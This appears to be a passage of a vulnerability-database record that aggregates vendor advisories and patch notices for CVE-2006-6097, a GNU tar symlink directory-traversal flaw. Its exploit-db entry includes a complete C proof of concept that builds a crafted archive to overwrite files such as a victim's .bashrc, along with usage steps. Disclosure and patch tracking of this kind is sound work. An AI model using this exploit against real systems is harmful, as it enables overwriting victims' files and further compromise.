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package:\n9832de4337bd8e1bd6e43c18e06885dc tar-1.16-i486-1_slack11.0.tgz\n\n\nInstallation instructions:\n\nUpgrade the packages as root:\n > upgradepkg tar-1.16-i486-1_slack11.0.tgz", "modified": "2006-12-01T14:55:57", "published": "2006-12-01T14:55:57", "id": "SSA-2006-335-01", "href": "http://www.slackware.com/security/viewer.php?l=slackware-security&y=2006&m=slackware-security.469379", "title": "tar", "type": "slackware", "cvss": {"score": 4.0, "vector": "AV:NETWORK/AC:HIGH/Au:NONE/C:NONE/I:PARTIAL/A:PARTIAL/"}}], "debian": [{"lastseen": "2018-10-16T22:15:02", "bulletinFamily": "unix", "description": "- ------------------------------------------------------------------------\nDebian Security Advisory DSA-1223-1 security@debian.org\nhttp://www.debian.org/security/ Noah Meyerhans\nDecember 01, 2006\n- ------------------------------------------------------------------------\n\nPackage : tar\nVulnerability : input validation error\nProblem type : local\nDebian-specific: no\nCVE Id(s) : CVE-2006-6097\nBugTraq ID : 21235\nDebian Bug : 399845\n\nTeemu Salmela discovered a vulnerability in GNU tar that could allow a\nmalicious user to overwrite arbitrary files by inducing the victim to\nattempt to extract a specially crafted tar file containing a\nGNUTYPE_NAMES record with a symbolic link.\n\nFor the stable distribution (sarge), this problem has been fixed in\nversion 1.14-2.3\n\nFor the unstable distribution (sid) and the forthcoming stable release\n(etch), this problem will be fixed in version 1.16-2.\n\nWe recommend that you upgrade your tar package.\n\nUpgrade instructions\n- --------------------\n\nwget url\n will fetch the file for you\ndpkg -i file.deb\n will install the referenced file.\n\nIf you are using the apt-get package manager, use the line for\nsources.list as given below:\n\napt-get update\n will update the internal database\napt-get upgrade\n will install corrected packages\n\nYou may use an automated update by adding the resources from the\nfooter to the proper configuration.\n\nDebian 3.1 (stable)\n- -------------------\n\nStable updates are available for alpha, amd64, arm, hppa, i386, ia64, m68k, mips, mipsel, powerpc, s390 and sparc.\n\nSource archives:\n\n http://security.debian.org/pool/updates/main/t/tar/tar_1.14.orig.tar.gz\n Size/MD5 checksum: 1485633 3094544702b1affa32d969f0b6459663\n http://security.debian.org/pool/updates/main/t/tar/tar_1.14-2.3.diff.gz\n Size/MD5 checksum: 51004 d6513454cbe12eec5908c2b41253f843\n http://security.debian.org/pool/updates/main/t/tar/tar_1.14-2.3.dsc\n Size/MD5 checksum: 554 85503d4264d7b39c7969051c3661fa96\n\nalpha architecture (DEC Alpha)\n\n http://security.debian.org/pool/updates/main/t/tar/tar_1.14-2.3_alpha.deb\n Size/MD5 checksum: 520736 4b14a87c6e8b4dda327d802eddcf9af7\n\namd64 architecture (AMD x86_64 (AMD64))\n\n http://security.debian.org/pool/updates/main/t/tar/tar_1.14-2.3_amd64.deb\n Size/MD5 checksum: 503902 98a8169210eb273252a7997c726c4333\n\narm architecture (ARM)\n\n http://security.debian.org/pool/updates/main/t/tar/tar_1.14-2.3_arm.deb\n Size/MD5 checksum: 500266 49ef1817d4ee1753f66bd37be8f91455\n\nhppa architecture (HP PA RISC)\n\n http://security.debian.org/pool/updates/main/t/tar/tar_1.14-2.3_hppa.deb\n Size/MD5 checksum: 517810 5f48745a747ee36c330d97f3bc5cc980\n\ni386 architecture (Intel ia32)\n\n http://security.debian.org/pool/updates/main/t/tar/tar_1.14-2.3_i386.deb\n Size/MD5 checksum: 499560 c764b0894f6c3317a78124177cfed9fe\n\nia64 architecture (Intel ia64)\n\n http://security.debian.org/pool/updates/main/t/tar/tar_1.14-2.3_ia64.deb\n Size/MD5 checksum: 543432 0dc8b4d66a82d05d7b68f2dbee960791\n\nm68k architecture (Motorola Mc680x0)\n\n http://security.debian.org/pool/updates/main/t/tar/tar_1.14-2.3_m68k.deb\n Size/MD5 checksum: 489058 381e468152e0a5a37113f412f13d85a7\n\nmips architecture (MIPS (Big Endian))\n\n http://security.debian.org/pool/updates/main/t/tar/tar_1.14-2.3_mips.deb\n Size/MD5 checksum: 520512 29bc4c6133bfeb259175fea45277a647\n\nmipsel architecture (MIPS (Little Endian))\n\n http://security.debian.org/pool/updates/main/t/tar/tar_1.14-2.3_mipsel.deb\n Size/MD5 checksum: 520258 ed3b0aadf8720c97a1df6334a90efe3c\n\npowerpc architecture (PowerPC)\n\n http://security.debian.org/pool/updates/main/t/tar/tar_1.14-2.3_powerpc.deb\n Size/MD5 checksum: 506908 3a57a912dc159ee20d47ca1591a68619\n\ns390 architecture (IBM S/390)\n\n http://security.debian.org/pool/updates/main/t/tar/tar_1.14-2.3_s390.deb\n Size/MD5 checksum: 511972 79cb92aaeee839c2d82efe743a8cea59\n\nsparc architecture (Sun SPARC/UltraSPARC)\n\n http://security.debian.org/pool/updates/main/t/tar/tar_1.14-2.3_sparc.deb\n Size/MD5 checksum: 499698 d260b9f5db00b12414d6136c63e37202\n\n\n These files will probably be moved into the stable distribution on\n its next update.\n\n- ---------------------------------------------------------------------------------\nFor apt-get: deb http://security.debian.org/ stable/updates main\nFor dpkg-ftp: ftp://security.debian.org/debian-security dists/stable/updates/main\nMailing list: debian-security-announce@lists.debian.org\nPackage info: `apt-cache show &lt;pkg&gt;&#x27; and http://packages.debian.org/&lt;pkg&gt;\n", "modified": "2006-12-01T00:00:00", "published": "2006-12-01T00:00:00", "id": "DEBIAN:DSA-1223-1:6DA89", "href": "https://lists.debian.org/debian-security-announce/debian-security-announce-2006/msg00323.html", "title": "[SECURITY] [DSA 1223-1] New tar packages fix arbitrary file overwrite", "type": "debian", "cvss": {"score": 4.0, "vector": "AV:NETWORK/AC:HIGH/Au:NONE/C:NONE/I:PARTIAL/A:PARTIAL/"}}], "gentoo": [{"lastseen": "2016-09-06T19:45:59", "bulletinFamily": "unix", "description": "### Background\n\nThe Tar program provides the ability to create and manipulate tar archives. \n\n### Description\n\nTar does not properly extract archive elements using the GNUTYPE_NAMES record name, allowing files to be created at arbitrary locations using symlinks. Once a symlink is extracted, files after the symlink in the archive will be extracted to the destination of the symlink. \n\n### Impact\n\nAn attacker could entice a user to extract a specially crafted tar archive, possibly allowing for the overwriting of arbitrary files on the system extracting the archive. \n\n### Workaround\n\nThere is no known workaround at this time. \n\n### Resolution\n\nAll Tar users should upgrade to the latest version: \n \n \n # emerge --sync\n # emerge --ask --oneshot --verbose \">=app-arch/tar-1.16-r2\"", "modified": "2006-12-11T00:00:00", "published": "2006-12-11T00:00:00", "id": "GLSA-200612-10", "href": "https://security.gentoo.org/glsa/200612-10", "type": "gentoo", "title": "Tar: Directory traversal vulnerability", "cvss": {"score": 4.0, "vector": "AV:NETWORK/AC:HIGH/Au:NONE/C:NONE/I:PARTIAL/A:PARTIAL/"}}], "exploitdb": [{"lastseen": "2016-02-03T09:43:30", "bulletinFamily": "exploit", "description": "GNU Tar 1.1x GNUTYPE_NAMES Remote Directory Traversal Vulnerability. CVE-2006-6097. Remote exploit for linux platform", "modified": "2006-11-21T00:00:00", "published": "2006-11-21T00:00:00", "id": "EDB-ID:29160", "href": "https://www.exploit-db.com/exploits/29160/", "type": "exploitdb", "title": "GNU Tar 1.1x GNUTYPE_NAMES Remote Directory Traversal Vulnerability", "sourceData": "source: http://www.securityfocus.com/bid/21235/info\r\n\r\nGNU Tar is prone to a vulnerability that may allow an attacker to place files and overwrite files in arbitrary locations on a vulnerable computer. These issues present themselves when the application processes malicious archives. \r\n\r\nA successful attack can allow the attacker to place potentially malicious files and overwrite files on a computer in the context of the user running the affected application. Successful exploits may aid in further attacks.\r\n\r\n /*\r\n * tarxyz.c - GNU tar directory traversal exploit.\r\n * Written by Teemu Salmela.\r\n *\r\n * Example usage (creates a tar file that extracts /home/teemu/.bashrc):\r\n * $ gcc -o tarxyz tarxyz.c\r\n * $ ./tarxyz > ~/xyz.tar\r\n * $ mkdir -p /tmp/xyz/home/teemu/\r\n * $ cp ~/newbashrc.txt /tmp/xyz/home/teemu/.bashrc\r\n * $ cd /tmp\r\n * $ tar -rf ~/xyz.tar xyz/home/teemu\r\n */\r\n\r\n #include <string.h>\r\n #include <stdio.h>\r\n #include <stdlib.h>\r\n\r\n struct posix_header\r\n{ /* byte offset */\r\n char name[100]; /* 0 */\r\n char mode[8]; /* 100 */\r\n char uid[8]; /* 108 */\r\n char gid[8]; /* 116 */\r\n char size[12]; /* 124 */\r\n char mtime[12]; /* 136 */\r\n char chksum[8]; /* 148 */\r\n char typeflag; /* 156 */\r\n char linkname[100]; /* 157 */\r\n char magic[6]; /* 257 */\r\n char version[2]; /* 263 */\r\n char uname[32]; /* 265 */\r\n char gname[32]; /* 297 */\r\n char devmajor[8]; /* 329 */\r\n char devminor[8]; /* 337 */\r\n char prefix[155]; /* 345 */\r\n /* 500 */\r\n };\r\n\r\n #define GNUTYPE_NAMES 'N'\r\n\r\n #define BLOCKSIZE 512\r\n\r\n union block\r\n {\r\n char buffer[BLOCKSIZE];\r\n struct posix_header header;\r\n };\r\n\r\n void\r\n data(void *p, size_t size)\r\n {\r\n size_t n = 0;\r\n char b[BLOCKSIZE];\r\n\r\n while (size - n > 512) {\r\n fwrite(&((char *)p)[n], 1, 512, stdout);\r\n n += 512;\r\n }\r\n if (size - n) {\r\n memset(b, 0, sizeof(b));\r\n memcpy(b, &((char *)p)[n], size - n);\r\n fwrite(b, 1, sizeof(b), stdout);\r\n }\r\n }\r\n\r\n int\r\n main(int argc, char *argv[])\r\n {\r\n char *link_name = \"xyz\";\r\n union block b;\r\n char *d;\r\n int i;\r\n unsigned int cksum;\r\n\r\n if (argc > 1)\r\n link_name = argv[1];\r\n\r\n if (asprintf(&d, \"Symlink / to %s\\n\", link_name) < 0) {\r\n fprintf(stderr, \"out of memory\\n\");\r\n exit(1);\r\n }\r\n memset(&b, 0, sizeof(b));\r\n strcpy(b.header.name, \"xyz\");\r\n strcpy(b.header.mode, \"0000777\");\r\n strcpy(b.header.uid, \"0000000\");\r\n strcpy(b.header.gid, \"0000000\");\r\n sprintf(b.header.size, \"%011o\", strlen(d));\r\n strcpy(b.header.mtime, \"00000000000\");\r\n strcpy(b.header.chksum, \" \");\r\n b.header.typeflag = GNUTYPE_NAMES;\r\n strcpy(b.header.magic, \"ustar \");\r\n strcpy(b.header.uname, \"root\");\r\n strcpy(b.header.gname, \"root\");\r\n for (cksum = 0, i = 0; i < sizeof(b); i++)\r\n cksum += b.buffer[i] & 0xff;\r\n sprintf(b.header.chksum, \"%06o \", cksum);\r\n fwrite(&b, 1, sizeof(b), stdout);\r\n data(d, strlen(d));\r\n }\r\n\r\n\r\n", "cvss": {"score": 4.0, "vector": "AV:NETWORK/AC:HIGH/Au:NONE/C:NONE/I:PARTIAL/A:PARTIAL/"}, "sourceHref": "https://www.exploit-db.com/download/29160/"}], "centos": [{"lastseen": "2017-10-12T14:46:59", "bulletinFamily": "unix", "description": "**CentOS Errata and Security Advisory** CESA-2006:0749-01\n\n\nThe GNU tar program saves many files together in one archive and can\r\nrestore individual files (or all of the files) from that archive. \r\n\r\nTeemu Salmela discovered a path traversal flaw in the way GNU tar extracted\r\narchives. A malicious user could create a tar archive that could write to\r\narbitrary files to which the user running GNU tar has write access.\r\n(CVE-2006-6097)\r\n\r\nUsers of tar should upgrade to this updated package, which contains a\r\nreplacement backported patch to correct this issue.\n\n**Merged security bulletin from advisories:**\nhttp://lists.centos.org/pipermail/centos-announce/2006-December/013431.html\n\n**Affected packages:**\ntar\n\n**Upstream details at:**\nhttps://rhn.redhat.com/errata/rh21as-errata.html", "modified": "2006-12-20T03:41:54", "published": "2006-12-20T03:41:54", "href": "http://lists.centos.org/pipermail/centos-announce/2006-December/013431.html", "id": "CESA-2006:0749-01", "title": "tar security update", "type": "centos", "cvss": {"score": 4.0, "vector": "AV:NETWORK/AC:HIGH/Au:NONE/C:NONE/I:PARTIAL/A:PARTIAL/"}}, {"lastseen": "2017-10-12T14:45:34", "bulletinFamily": "unix", "description": "**CentOS Errata and Security Advisory** CESA-2006:0749\n\n\nThe GNU tar program saves many files together in one archive and can\r\nrestore individual files (or all of the files) from that archive. \r\n\r\nTeemu Salmela discovered a path traversal flaw in the way GNU tar extracted\r\narchives. A malicious user could create a tar archive that could write to\r\narbitrary files to which the user running GNU tar has write access.\r\n(CVE-2006-6097)\r\n\r\nUsers of tar should upgrade to this updated package, which contains a\r\nreplacement backported patch to correct this issue.\n\n**Merged security bulletin from advisories:**\nhttp://lists.centos.org/pipermail/centos-announce/2006-December/013433.html\nhttp://lists.centos.org/pipermail/centos-announce/2006-December/013434.html\nhttp://lists.centos.org/pipermail/centos-announce/2006-December/013437.html\nhttp://lists.centos.org/pipermail/centos-announce/2006-December/013438.html\nhttp://lists.centos.org/pipermail/centos-announce/2006-December/013439.html\nhttp://lists.centos.org/pipermail/centos-announce/2006-December/013440.html\nhttp://lists.centos.org/pipermail/centos-announce/2006-December/013443.html\nhttp://lists.centos.org/pipermail/centos-announce/2006-December/013444.html\n\n**Affected packages:**\ntar\n\n**Upstream details at:**\nhttps://rhn.redhat.com/errata/RHSA-2006-0749.html", "modified": "2006-12-23T11:16:19", "published": "2006-12-20T15:42:51", "href": "http://lists.centos.org/pipermail/centos-announce/2006-December/013433.html", "id": "CESA-2006:0749", "title": "tar security update", "type": "centos", "cvss": {"score": 4.0, "vector": "AV:NETWORK/AC:HIGH/Au:NONE/C:NONE/I:PARTIAL/A:PARTIAL/"}}], "freebsd": [{"lastseen": "2018-08-31T01:15:44", "bulletinFamily": "unix", "description": "\nTeemu Salmela reports:\n\nThere is a tar record type, called GNUTYPE_NAMES (an\n\t obsolete GNU extension), that allows the creation of\n\t symbolic links pointing to arbitrary locations in the\n\t filesystem, which makes it possible to create/overwrite\n\t arbitrary files.\n\n", "modified": "2006-11-21T00:00:00", "published": "2006-11-21T00:00:00", "id": "3DD7EB58-80AE-11DB-B4EC-000854D03344", "href": "https://vuxml.freebsd.org/freebsd/3dd7eb58-80ae-11db-b4ec-000854d03344.html", "title": "gtar -- GNUTYPE_NAMES directory traversal vulnerability", "type": "freebsd", "cvss": {"score": 4.0, "vector": "AV:NETWORK/AC:HIGH/Au:NONE/C:NONE/I:PARTIAL/A:PARTIAL/"}}], "oraclelinux": [{"lastseen": "2018-08-31T01:42:01", "bulletinFamily": "unix", "description": " [1.14-12.RHEL4]\n - fix CVE-2006-6097 GNU tar directory traversal (#216937)\n \n [1.14-11.RHEL4]\n - fix verbose output (#192770) ", "modified": "2006-12-20T00:00:00", "published": "2006-12-20T00:00:00", "id": "ELSA-2006-0749", "href": "http://linux.oracle.com/errata/ELSA-2006-0749.html", "title": "Moderate tar security update ", "type": "oraclelinux", "cvss": {"score": 4.0, "vector": "AV:NETWORK/AC:HIGH/Au:NONE/C:NONE/I:PARTIAL/A:PARTIAL/"}}], "osvdb": [{"lastseen": "2017-04-28T13:20:27", "bulletinFamily": "software", "description": "## Solution Description\nUpgrade to version 1.16.1 or higher, as it has been reported to fix this vulnerability. An upgrade is required as there are no known workarounds.\n## References:\nVendor Specific News/Changelog Entry: http://kb.vmware.com/kb/5031800\n[Vendor Specific Advisory URL](http://www.ubuntu.com/usn/usn-385-1)\n[Vendor Specific Advisory URL](http://www.debian.org/security/2006/dsa-1223)\n[Vendor Specific Advisory URL](https://issues.rpath.com/browse/RPL-821)\n[Vendor Specific Advisory URL](http://www.us.debian.org/security/2006/dsa-1223)\n[Vendor Specific Advisory URL](http://slackware.com/security/viewer.php?l=slackware-security&y=2006&m=slackware-security.469379)\n[Vendor Specific Advisory URL](ftp://patches.sgi.com/support/free/security/advisories/20061202-01-P.asc)\n[Vendor Specific Advisory URL](http://frontal2.mandriva.com/security/advisories?name=MDKSA-2006:219)\n[Vendor Specific Advisory URL](http://kb.vmware.com/KanisaPlatform/Publishing/817/2240267_f.SAL_Public.html)\n[Vendor Specific Advisory URL](http://security.freebsd.org/advisories/FreeBSD-SA-06:26.gtar.asc)\n[Vendor Specific Advisory URL](http://www.openpkg.com/security/advisories/OpenPKG-SA-2006.038.html)\n[Vendor Specific Advisory URL](http://www.trustix.org/errata/2006/0068/)\n[Vendor Specific Advisory URL](http://security.gentoo.org/glsa/glsa-200612-10.xml)\n[Vendor Specific Advisory URL](http://support.avaya.com/elmodocs2/security/ASA-2007-015.htm)\nSecurity Tracker: 1017423\n[Secunia Advisory ID:23115](https://secuniaresearch.flexerasoftware.com/advisories/23115/)\n[Secunia Advisory ID:23146](https://secuniaresearch.flexerasoftware.com/advisories/23146/)\n[Secunia Advisory ID:23173](https://secuniaresearch.flexerasoftware.com/advisories/23173/)\n[Secunia Advisory ID:23198](https://secuniaresearch.flexerasoftware.com/advisories/23198/)\n[Secunia Advisory ID:23314](https://secuniaresearch.flexerasoftware.com/advisories/23314/)\n[Secunia Advisory ID:23514](https://secuniaresearch.flexerasoftware.com/advisories/23514/)\n[Secunia Advisory ID:23911](https://secuniaresearch.flexerasoftware.com/advisories/23911/)\n[Secunia Advisory ID:24636](https://secuniaresearch.flexerasoftware.com/advisories/24636/)\n[Secunia Advisory ID:25056](https://secuniaresearch.flexerasoftware.com/advisories/25056/)\n[Secunia Advisory ID:23163](https://secuniaresearch.flexerasoftware.com/advisories/23163/)\n[Secunia Advisory ID:23785](https://secuniaresearch.flexerasoftware.com/advisories/23785/)\n[Secunia Advisory ID:23117](https://secuniaresearch.flexerasoftware.com/advisories/23117/)\n[Secunia Advisory ID:23142](https://secuniaresearch.flexerasoftware.com/advisories/23142/)\n[Secunia Advisory ID:23209](https://secuniaresearch.flexerasoftware.com/advisories/23209/)\n[Secunia Advisory ID:23443](https://secuniaresearch.flexerasoftware.com/advisories/23443/)\nRedHat RHSA: RHSA-2006:0749\nOther Advisory URL: http://www.ipcop.org/modules.php?op=modload&name=News&file=article&sid=31&mode=thread&order=0&thold=0\nOther Advisory URL: http://lists.suse.com/archive/suse-security-announce/2007-May/0007.html\nOther Advisory URL: http://www.gentoo.org/security/en/glsa/glsa-200612-10.xml\nOther Advisory URL: http://www.mandriva.com/security/advisories?name=MDKSA-2006:219\nOther Advisory URL: http://support.avaya.com/elmodocs2/security/ASA-2007-015.htm\nOther Advisory URL: http://security.freebsd.org/advisories/FreeBSD-SA-06:26.gtar.asc\nMail List Post: http://archives.neohapsis.com/archives/fulldisclosure/2006-11/0344.html\nMail List Post: http://archives.neohapsis.com/archives/bugtraq/2007-03/0404.html\nMail List Post: http://archives.neohapsis.com/archives/apps/freshmeat/2006-12/0010.html\nFrSIRT Advisory: FRSIRT:ADV-2007-1171\nFrSIRT Advisory: FRSIRT:ADV-2007-0930\nFrSIRT Advisory: ADV-2006-4717\nFrSIRT Advisory: ADV-2006-5102\n[CVE-2006-6097](https://vulners.com/cve/CVE-2006-6097)\nBugtraq ID: 21235\n", "modified": "2006-11-21T07:33:53", "published": "2006-11-21T07:33:53", "href": "https://vulners.com/osvdb/OSVDB:30721", "id": "OSVDB:30721", "title": "GNU tar GNUTYPES_NAMES Record Type Traversal Arbitrary File Overwrite", "type": "osvdb", "cvss": {"score": 4.0, "vector": "AV:NETWORK/AC:HIGH/Au:NONE/C:NONE/I:PARTIAL/A:PARTIAL/"}}], "redhat": [{"lastseen": "2018-12-11T17:41:57", "bulletinFamily": "unix", "description": "The GNU tar program saves many files together in one archive and can\r\nrestore individual files (or all of the files) from that archive. \r\n\r\nTeemu Salmela discovered a path traversal flaw in the way GNU tar extracted\r\narchives. A malicious user could create a tar archive that could write to\r\narbitrary files to which the user running GNU tar has write access.\r\n(CVE-2006-6097)\r\n\r\nUsers of tar should upgrade to this updated package, which contains a\r\nreplacement backported patch to correct this issue.", "modified": "2018-05-11T23:26:56", "published": "2006-12-19T05:00:00", "id": "RHSA-2006:0749", "href": "https://access.redhat.com/errata/RHSA-2006:0749", "type": "redhat", "title": "(RHSA-2006:0749) Moderate: tar security update", "cvss": {"score": 4.0, "vector": "AV:NETWORK/AC:HIGH/Au:NONE/C:NONE/I:PARTIAL/A:PARTIAL/"}}]}